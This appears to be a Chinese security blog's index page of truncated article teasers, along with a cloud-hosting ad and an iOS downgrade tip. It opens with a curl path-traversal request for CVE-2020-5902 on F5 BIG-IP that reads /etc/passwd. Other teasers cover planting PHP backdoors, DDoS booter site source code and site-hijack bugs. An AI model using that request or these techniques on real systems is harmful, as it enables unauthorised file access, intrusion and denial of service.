curl -v -k 'https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd' PO...
漏洞分析
CVE-2020-5902 BIG-IP RCE漏洞复现
漏洞分析
论天地
微笑云 – 年中团购 60元/年 三地BGP 充值赠款
商家介绍： 微笑（湖北）云计算有限公司成立于2019-10-08-2019-11-05创建微笑云计算品牌词公司主要运营云计算技术的开发、技术服务、技术转让：网络信息技术服务；信息系统集成服务；数据处理...
百宝箱
苹果IOS14降级IOS13怎么操作,正在验证Savage(约5分钟)-错误:无法恢复设备(-53)! 苹果IOS14降级IOS13失败怎么办?
少羽前一段时间也手贱升级了ios14,操作了一段时间总感觉不顺手就一直准备降级,然后这段时间比较忙,今天正好有空就准备降级,然后遇见了正在验证Savage(约5分钟)-错误:无法恢复设备...
渗透经验分享之文件操作漏洞拓展
上文分享了注入相关的东西，注入也可以对文件进行操作，本文是对文件操作漏洞的拓展。 文件操作漏洞 文件上传 文件读取 文件写入 文件删除 文件包含 一般java的站点存在文件系列的洞比较多(除了文件包含...
渗透经验分享之SQL注入思路拓展
写在文前 从实习到现在，因为从事打点工作的原因，实战经验积累了很多，就想写一些自己在实战中碰到的问题，以及自己的解决方法，因为保密的原因大多数不提供复现环境和截图，权当对渗透思路的一个拓展吧。可能会多...
安全资讯
分享一个超骚的php留后门的姿势(需高权限)
前言 大家好 我是阿乾。这是首发在我自己博客里的，转给大家看看 今天给大家分享一个姿势，算是有点老的了。给伙伴们分享一下。 这是帮朋友运维的时候找到的，当时很纳闷，因为web目录下全部找了一通 就是没...
百宝箱
DDOS报告服务网站源码-DDOS测量墙源码
之前偶然得到了一份测量墙源码,说正规点就是DDOS报告服务网站源码! 然后并不是特别好,ws链接云盾那边的一款源码,我小小修改了一下! 效果图 完美自适应,源代码我放到了GITHUB 这里我放一下链接...
渗透笔记
记一次目录遍历到后台-渗透笔记
ip:xx.xxx.xxx 扫描一下IP 就开了两个端口。一个3389 一个80 打开主页 然后访问钓鱼的页面 /index.php/Home/Index/index/ptm/18/ptbm/53...
漏洞分析
导航网站自动收录漏洞-劫持漏洞
我想搞个导航网站来着，看着自动收录的网站然后就发现了很多导航网站有这个bug BUG后果：可以在网站上上传任意js html代码，会被劫持，跳转等等。 BUG原因： 大家看图，只要我在我的网站上面，做...
漏洞分析
DDOS页端漏洞0day(通杀红色页端-橙色页端-路人页端-海外页端-原版页端)百分之七十的DDOS在线攻击网站都存在此漏洞!!!
安全 一个小洞洞，不喜欢写很多废话 小介绍 无意中在谷歌gege上搜索到了提供在线DDOS攻击的站点，感觉好好奇哦，这玩意是不是可以改变世界？ 网址：这里就不放了 这里是测评介绍，感觉挺丰富且价格也不...
评论